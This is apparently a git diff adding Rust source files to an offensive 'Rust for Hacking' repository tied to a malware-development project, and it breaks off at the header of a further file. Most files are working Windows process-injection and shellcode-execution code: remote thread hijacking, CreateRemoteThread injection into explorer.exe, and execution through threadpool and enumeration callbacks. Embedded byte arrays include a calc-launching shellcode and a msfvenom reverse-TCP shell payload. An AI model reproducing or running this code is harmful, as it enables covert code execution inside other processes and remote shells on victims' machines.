+++ b/Rust for Hacking/Threads/remote_thread_execution.rs
@@ -0,0 +1,250 @@
+
+/*
+ Remote Thread Hijacking
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+
+*/
+
+use std::{ffi::CString, mem, ptr::null_mut};
+
+use winapi::{ctypes::c_void, um::{
+ errhandlingapi::GetLastError,
+ handleapi::CloseHandle,
+ memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
+ processthreadsapi::{GetThreadContext, OpenProcess, OpenThread, ResumeThread, SetThreadContext, SuspendThread},
+ synchapi::WaitForSingleObject,
+ tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, Thread32First, Thread32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, TH32CS_SNAPTHREAD, THREADENTRY32},
+ winnt::{CONTEXT, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS}
+}};
+
+macro_rules! okey {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\_____[+] {}", format!($msg , $($arg), *));
+ }
+}
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\_____[-] {}",format!($msg, $($arg), *));
+ }
+}
+
+#[repr(align(16))]
+struct AlignedContext {
+ ctx: CONTEXT,
+}
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ // Search for Process Handle
+ let process_name = "notepad.exe";
+ let pid = get_pid(process_name);
+ okey!("Found PID : {}",pid);
+
+
+ unsafe{
+
+ let hprocess = OpenProcess(
+ PROCESS_ALL_ACCESS,
+ 0,
+ pid,
+ );
+
+ if hprocess.is_null(){
+ error!("Error while Opening Process {}",GetLastError());
+ return;
+ }
+
+ let hthread = find_thread(pid);
+
+ if hthread.is_null(){
+ error!("Failed to Allocate Thread: {}",GetLastError());
+ return;
+ }
+
+ okey!("Thread ID: {:?}", hthread);
+
+ let address = VirtualAllocEx(
+ hprocess,
+ null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if address.is_null(){
+ error!("VirtualAllocEx Failed: {}",GetLastError());
+ return;
+ }
+
+ let mut return_len = 0;
+
+ let write_mem = WriteProcessMemory(
+ hprocess,
+ address,
+ shellcode.as_ptr() as _,
+ shellcode.len(),
+ &mut return_len,
+ );
+
+
+ if write_mem == 0{
+ error!("WriteProcessMemory Failed {}", GetLastError());
+ }
+
+ let mut oldprotect:u32 = 0;
+
+ let virtual_prot = VirtualProtectEx(
+ hprocess,
+ address,
+ shellcode.len(),
+ PAGE_EXECUTE_READWRITE,
+ &mut oldprotect
+ );
+
+ if virtual_prot == 0{
+ error!("VirtualProtect Error: {}", GetLastError());
+ return;
+ }
+
+ let mut ctx_thread: CONTEXT = std::mem::zeroed();
+ ctx_thread.ContextFlags = 0 as u32;
+
+ let mut ctx_thread = AlignedContext{
+ ctx: CONTEXT{
+ ContextFlags: 0 as u32,
+ ..std::mem::zeroed()
+ }
+ };
+
+ SuspendThread(hthread);
+
+ let get_thread = GetThreadContext(hthread, &mut ctx_thread.ctx);
+
+ if get_thread == 0{
+ error!("GetThreadContext Failed: {}", GetLastError());
+ return;
+ }
+
+ ctx_thread.ctx.Rip = address as u64;
+
+ let set_thread = SetThreadContext(hthread, &ctx_thread.ctx);
+
+ if set_thread == 0{
+ error!("SetThreadContext Failed: {}",GetLastError());
+ return;
+ }
+
+ okey!("Thread Executed ..{}",'!');
+
+ ResumeThread(hthread);
+
+ WaitForSingleObject(hthread, 0xFFFFFFFF);
+
+ }
+
+
+}
+
+
+fn get_pid(process_name: &str) -> u32{
+ unsafe{
+ let mut pe: PROCESSENTRY32 = std::mem::zeroed();
+ pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
+
+ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if snap.is_null(){
+ error!("Error while snapshoting processes : Error : {}",GetLastError());
+ std::process::exit(0);
+ }
+
+ let mut pid = 0;
+
+ let mut result = Process32First(snap, &mut pe) != 0;
+
+ while result{
+
+ let exe_file = CString::from_vec_unchecked(pe.szExeFile
+ .iter()
+ .map(|&file| file as u8)
+ .take_while(|&c| c!=0)
+ .collect::<Vec<u8>>(),
+ );
+
+ if exe_file.to_str().unwrap() == process_name {
+ pid = pe.th32ProcessID;
+ break;
+ }
+ result = Process32Next(snap, &mut pe) !=0;
+ }
+
+ if pid == 0{
+ error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");
+ std::process::exit(0);
+ }
+
+ CloseHandle(snap);
+ pid
+ }
+}
+
+fn find_thread(pid: u32)-> *mut c_void{
+ unsafe{
+ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+
+ if snap.is_null(){
+ error!("Failed to Create SnapShot: {}",GetLastError());
+ std::process::exit(0);
+ }
+
+ let mut entry: THREADENTRY32 = std::mem::zeroed();
+ entry.dwSize = std::mem::size_of::<THREADENTRY32>() as u32;
+ if Thread32First(snap, &mut entry) !=0 {
+ loop {
+ if entry.th32OwnerProcessID == pid{
+ let hthread = OpenThread(
+ THREAD_ALL_ACCESS,
+ 0,
+ entry.th32ThreadID);
+
+ if hthread.is_null(){
+ error!("Failed to open Thread {}", GetLastError());
+ std::process::exit(0);
+ }
+ return hthread;
+ }
+
+ if Thread32Next(snap, &mut entry) <= 0{
+ break;
+ }
+ }
+ }else {
+ error!("Thread not found ..{}",'!');
+ }
+ }
+ null_mut()
+}
+
+
diff --git a/Rust for Hacking/Windows_Threads/README.md b/Rust for Hacking/Windows_Threads/README.md
new file mode 100644
index 0000000..30d58be
--- /dev/null
+++ b/Rust for Hacking/Windows_Threads/README.md
@@ -0,0 +1,3 @@
+## Playing with Threads using Windows API Functions.
+
+Example code from Basics to Advance
diff --git a/Rust for Hacking/Windows_Threads/ShellExecThread.rs b/Rust for Hacking/Windows_Threads/ShellExecThread.rs
new file mode 100644
index 0000000..9249188
--- /dev/null
+++ b/Rust for Hacking/Windows_Threads/ShellExecThread.rs
@@ -0,0 +1,83 @@
+/*
+An Rust Program that injects shellcode into an target process and executes it Remotely.
+Github Link: https://github.com/Whitecat18/Rust-for-Malware-Development
+*/
+
+#[allow(unused_imports)]
+#[allow(unused_import_braces)]
+use std::include_bytes;
+use std::mem::transmute;
+use std::ptr::null_mut;
+use sysinfo::*;
+use winapi::um::processthreadsapi::CreateRemoteThread;
+use winapi::um::synchapi::WaitForSingleObject;
+use winapi::um::winbase::WAIT_FAILED;
+use winapi::um::winnt::PROCESS_ALL_ACCESS;
+// use winapi::shared::ntdef::FALSE;
+use winapi::shared::minwindef::FALSE;
+// use winapi::um::processthreadsapi::OpenProcess;
+// // OR
+// use winapi::shared::minwindef::FALSE;
+use winapi::um::{
+ handleapi::CloseHandle, // If you want to free up , you can do it manually !
+ errhandlingapi::GetLastError,
+ winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE},
+ processthreadsapi::OpenProcess,
+ memoryapi::{WriteProcessMemory,VirtualAllocEx,VirtualProtectEx}};
+
+fn main() -> std::io::Result<()>{
+
+ // ShellCode Link : https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
+ // Download the shellcode and Execute from it
+ let shellcode = include_bytes!("../w64-exec-calc-shellcode-func.bin");
+ let size = shellcode.len();
+ let mut system = System::new();
+ system.refresh_processes();
+ println!("{:?}", shellcode);
+
+ let pid = system
+ .processes_by_name("explorer.exe")
+ .next()
+ .expect("[-] No Process")
+ .pid()
+ .as_u32();
+
+ unsafe{
+ let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
+ if handle == null_mut(){
+ panic!("Failed to Get OpenProcess: {}",GetLastError());
+ }
+ let address = VirtualAllocEx(handle,null_mut(), size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE);
+ if address.is_null(){
+ panic!("[-] Failed to Get Address: {}", GetLastError());
+ }
+ let res = WriteProcessMemory(handle, address,shellcode.as_ptr().cast(), size,null_mut());
+ if res == FALSE{
+ panic!("[-] Failed to Write Process to Memory : {}",GetLastError());
+ }
+ let mut old = PAGE_READWRITE;
+ let res = VirtualProtectEx(handle, address, size, PAGE_EXECUTE, &mut old);
+ if res == FALSE {
+ panic!("[-]VirtualProtectEx failed: {}!", GetLastError());
+ }
+
+ let func = transmute(address);
+ let thread = CreateRemoteThread(handle,null_mut(), 0, func, null_mut(),0, null_mut());
+
+ if thread == null_mut(){
+ panic!("[-] Failed to create Remote Process : {}",GetLastError());
+ }
+ WaitForSingleObject(thread,WAIT_FAILED);
+
+ let clean = CloseHandle(handle);
+ if clean == FALSE{
+ println!("[-] Unable to close the Handle!");
+
+ // Just an Info : you dont need to free up space . Rust will automatically take care when goes out of scope ! . If you do so you can do it on your own !
+
+ }
+ }
+ println!("[+] Remote Code Executed Successfully !");
+ Ok(())
+}
+
diff --git a/Rust for Hacking/Windows_Threads/simple_thread.rs b/Rust for Hacking/Windows_Threads/simple_thread.rs
new file mode 100644
index 0000000..6ab68fe
--- /dev/null
+++ b/Rust for Hacking/Windows_Threads/simple_thread.rs
@@ -0,0 +1,27 @@
+
+use windows::{core::Result,
+ Win32::System::Threading::
+ {CreateThreadpoolWork,SubmitThreadpoolWork,WaitForThreadpoolWorkCallbacks,PTP_CALLBACK_INSTANCE,PTP_WORK}
+};
+
+static COUNTER: std::sync::RwLock<i32> = std::sync::RwLock::new(0);
+
+fn main()-> Result<()> {
+ unsafe {
+ let work = CreateThreadpoolWork(Some(callback), None, None)?;
+ for _ in 0..10{
+ SubmitThreadpoolWork(work);
+ }
+ WaitForThreadpoolWorkCallbacks(work,false);
+ }
+ let counter = COUNTER.write().unwrap();
+ println!("Counter : {}",*counter);
+ Ok(())
+}
+
+
+extern "system" fn callback(_:PTP_CALLBACK_INSTANCE, _: *mut std::ffi::c_void,_: PTP_WORK){
+ let mut counter = COUNTER.write().unwrap();
+ *counter += 1
+}
+
diff --git a/Rust for Hacking/shellcode_exec/CreateThreadpoolWait.rs b/Rust for Hacking/shellcode_exec/CreateThreadpoolWait.rs
new file mode 100644
index 0000000..a347bcb
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/CreateThreadpoolWait.rs
@@ -0,0 +1,145 @@
+/*
+ Shellcode Execution via CreateThreadpoolWait
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ Resources Used: https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
+ @5mukx
+*/
+
+use std::ptr::null_mut;
+
+use winapi::um::{
+ errhandlingapi::GetLastError,
+ handleapi::CloseHandle,
+ memoryapi::{VirtualAlloc, VirtualFree},
+ synchapi::{CreateEventA, WaitForSingleObject},
+ threadpoolapiset::{CloseThreadpool, CreateThreadpoolWait},
+ winnt::{MEM_COMMIT, PAGE_EXECUTE_READWRITE,RtlMoveMemory,TP_POOL}
+};
+
+
+macro_rules! okey {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\____[+] {}", format!($msg, $($arg), *));
+ }
+}
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\____[-] {}", format!($msg, $($arg), *));
+ println!("Exiting...");
+ std::process::exit(0);
+ }
+}
+
+fn main(){
+
+ // msfvenom -> msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f rust -b \x00\x0a\x0d
+ let buf: [u8; 503] = [0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,
+ 0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,
+ 0x55,0x17,0xce,0x4b,0x6d,0xac,0xd4,0x2b,0x48,0x31,0x58,0x27,
+ 0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xa9,0x5f,0x4d,0xaf,
+ 0x9d,0x44,0x14,0x2b,0x55,0x17,0x8f,0x1a,0x2c,0xfc,0x86,0x7a,
+ 0x03,0x5f,0xff,0x99,0x08,0xe4,0x5f,0x79,0x35,0x5f,0x45,0x19,
+ 0x75,0xe4,0x5f,0x79,0x75,0x5f,0x45,0x39,0x3d,0xe4,0xdb,0x9c,
+ 0x1f,0x5d,0x83,0x7a,0xa4,0xe4,0xe5,0xeb,0xf9,0x2b,0xaf,0x37,
+ 0x6f,0x80,0xf4,0x6a,0x94,0xde,0xc3,0x0a,0x6c,0x6d,0x36,0xc6,
+ 0x07,0x56,0x9f,0x03,0xe6,0xfe,0xf4,0xa0,0x17,0x2b,0x86,0x4a,
+ 0xbd,0x27,0x54,0xa3,0x55,0x17,0xce,0x03,0xe8,0x6c,0xa0,0x4c,
+ 0x1d,0x16,0x1e,0x1b,0xe6,0xe4,0xcc,0x6f,0xde,0x57,0xee,0x02,
+ 0x6c,0x7c,0x37,0x7d,0x1d,0xe8,0x07,0x0a,0xe6,0x98,0x5c,0x63,
+ 0x54,0xc1,0x83,0x7a,0xa4,0xe4,0xe5,0xeb,0xf9,0x56,0x0f,0x82,
+ 0x60,0xed,0xd5,0xea,0x6d,0xf7,0xbb,0xba,0x21,0xaf,0x98,0x0f,
+ 0x5d,0x52,0xf7,0x9a,0x18,0x74,0x8c,0x6f,0xde,0x57,0xea,0x02,
+ 0x6c,0x7c,0xb2,0x6a,0xde,0x1b,0x86,0x0f,0xe6,0xec,0xc8,0x62,
+ 0x54,0xc7,0x8f,0xc0,0x69,0x24,0x9c,0x2a,0x85,0x56,0x96,0x0a,
+ 0x35,0xf2,0x8d,0x71,0x14,0x4f,0x8f,0x12,0x2c,0xf6,0x9c,0xa8,
+ 0xb9,0x37,0x8f,0x19,0x92,0x4c,0x8c,0x6a,0x0c,0x4d,0x86,0xc0,
+ 0x7f,0x45,0x83,0xd4,0xaa,0xe8,0x93,0x02,0xd3,0xdb,0xa7,0x19,
+ 0x0a,0x24,0xfc,0x4b,0x6d,0xed,0x82,0x62,0xdc,0xf1,0x86,0xca,
+ 0x81,0x0c,0xd5,0x2b,0x55,0x5e,0x47,0xae,0x24,0x10,0xd6,0x2b,
+ 0x54,0xac,0x0e,0xe3,0x6c,0xe7,0x95,0x7f,0x1c,0x9e,0x2a,0x07,
+ 0xe4,0x5d,0x95,0x91,0x19,0x60,0xe8,0x4c,0x92,0x79,0x98,0xa2,
+ 0xbf,0x7f,0xcf,0x4a,0x6d,0xac,0x8d,0x6a,0xef,0x3e,0x4e,0x20,
+ 0x6d,0x53,0x01,0x7b,0x05,0x5a,0xff,0x82,0x20,0x9d,0x14,0x63,
+ 0xaa,0xd7,0x86,0xc2,0xaf,0xe4,0x2b,0xeb,0x1d,0x9e,0x0f,0x0a,
+ 0xd7,0x46,0xdb,0xf4,0xb5,0xe8,0x1b,0x03,0xe4,0x6b,0xbe,0x3b,
+ 0x14,0x4f,0x82,0xc2,0x8f,0xe4,0x5d,0xd2,0x14,0xad,0x57,0xee,
+ 0x19,0xcd,0x2b,0xfe,0x1d,0x96,0x0a,0x0b,0x6f,0xac,0xd4,0x62,
+ 0xed,0x74,0xa3,0x2f,0x6d,0xac,0xd4,0x2b,0x55,0x56,0x9e,0x0a,
+ 0x3d,0xe4,0x5d,0xc9,0x02,0x40,0x99,0x06,0x5c,0x6c,0xbe,0x26,
+ 0x0c,0x56,0x9e,0xa9,0x91,0xca,0x13,0x6f,0x71,0x43,0xcf,0x4a,
+ 0x25,0x21,0x90,0x0f,0x4d,0xd1,0xce,0x23,0x25,0x25,0x32,0x7d,
+ 0x05,0x56,0x9e,0x0a,0x3d,0xed,0x84,0x62,0xaa,0xd7,0x8f,0x1b,
+ 0x24,0x53,0x1c,0x66,0xdc,0xd6,0x82,0xc2,0xac,0xed,0x6e,0x52,
+ 0x99,0x28,0x48,0xb4,0xb8,0xe4,0xe5,0xf9,0x1d,0xe8,0x04,0xc0,
+ 0x63,0xed,0x6e,0x23,0xd2,0x0a,0xae,0xb4,0xb8,0x17,0x24,0x9e,
+ 0xf7,0x41,0x8f,0xf1,0xcb,0x39,0x69,0xb6,0xaa,0xc2,0x86,0xc8,
+ 0xa9,0x84,0xe8,0x2d,0x29,0x1d,0x4e,0xb0,0x8d,0xd9,0xd1,0x90,
+ 0x12,0x04,0xbc,0x24,0x07,0xac,0x8d,0x6a,0xdc,0xcd,0x31,0x9e,
+ 0x6d,0xac,0xd4,0x2b];
+
+ unsafe{
+ let event = CreateEventA(
+ null_mut(),
+ 0,
+ 1,
+ null_mut(),
+ );
+
+ if event.is_null(){
+ error!(" CreateEvent Error : {:?}",event);
+ }
+
+ okey!("CreateEvent Address : {:?}",event);
+
+ let shell_address = VirtualAlloc(
+ null_mut(),
+ buf.len(),
+ MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if shell_address.is_null(){
+ error!("VirtualAlloc Error : {:?}", GetLastError());
+ }
+
+ okey!("VirtualAlloc Addr :{:?}",shell_address);
+
+ // You can use these two copy methods ..!
+
+ RtlMoveMemory(shell_address, buf.as_ptr() as _, buf.len());
+
+ // std::ptr::copy(buf.as_ptr() as _, shell_address, buf.len());
+ // import function to use -> winapi::um::threadpoolapiset::CreateThreadpoolWait
+ // let poolwait = CreateThread
+
+ let thread_pool_weight = CreateThreadpoolWait(
+ std::mem::transmute(shell_address),
+ null_mut(),
+ null_mut());
+
+ if thread_pool_weight.is_null(){
+ error!("Error at ThreadPool : {:?}",GetLastError());
+ }
+
+ okey!("CreateThreadPool : {:?}",thread_pool_weight);
+
+ okey!("Executing shellcode {}", "!");
+ winapi::um::threadpoolapiset::SetThreadpoolWait(
+ thread_pool_weight,
+ event,
+ null_mut()
+ );
+
+
+ WaitForSingleObject(event,
+ 0xFFFFFFFF // INFINITE
+ );
+
+ CloseHandle(event);
+ CloseThreadpool(thread_pool_weight as *mut TP_POOL);
+ VirtualFree(shell_address, 0, 0x8000); // 0x8000 -> MEM_RELEASE
+
+ }
+}
+
diff --git a/Rust for Hacking/shellcode_exec/EnumCalendarInfoA.rs b/Rust for Hacking/shellcode_exec/EnumCalendarInfoA.rs
new file mode 100644
index 0000000..0b19286
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumCalendarInfoA.rs
@@ -0,0 +1,54 @@
+
+/*
+ Shellcode Execution through EnumCalendarInfoA
+ @5mukxt
+*/
+
+
+use winapi::um::{
+ memoryapi::VirtualAlloc,
+ winnls::EnumCalendarInfoA
+};
+use std::ptr::null_mut;
+
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000 | 0x2000,
+ 0x40,
+ );
+
+ std::ptr::copy_nonoverlapping(shellcode.as_ptr(), addr as *mut u8, shellcode.len());
+
+ EnumCalendarInfoA(
+ std::mem::transmute(addr),
+ 0x0400,
+ 4294967295u32, 21u32
+ );
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/EnumChildWindows.rs b/Rust for Hacking/shellcode_exec/EnumChildWindows.rs
new file mode 100644
index 0000000..8672024
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumChildWindows.rs
@@ -0,0 +1,59 @@
+/*
+ ShellExec on CallBack using EnumChildWindows Func
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ Resources Used: https://github.com/aahmad097/AlternativeShellcodeExec/blob/master/EnumChildWindows/EnumChildWindows.cpp
+ @5mukx
+*/
+
+
+use std::ptr::{copy_nonoverlapping, null_mut};
+
+use winapi::um::{memoryapi::VirtualAlloc, winuser::EnumChildWindows};
+
+
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+
+ let address = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000 | 0x2000,
+ 0x40,
+ );
+
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ address as *mut u8,
+ shellcode.len()
+ );
+
+ EnumChildWindows(
+ null_mut(),
+ std::mem::transmute(address),
+ 0,
+ );
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/EnumDesktopsW.rs b/Rust for Hacking/shellcode_exec/EnumDesktopsW.rs
new file mode 100644
index 0000000..7fa23af
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumDesktopsW.rs
@@ -0,0 +1,58 @@
+/*
+ ShellExec on CallBack using EnumDesktopsW Func
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ Resources Used: https://github.com/aahmad097/AlternativeShellcodeExec/blob/master/EnumDesktopsW/EnumDesktopsW.cpp
+ @5mukx
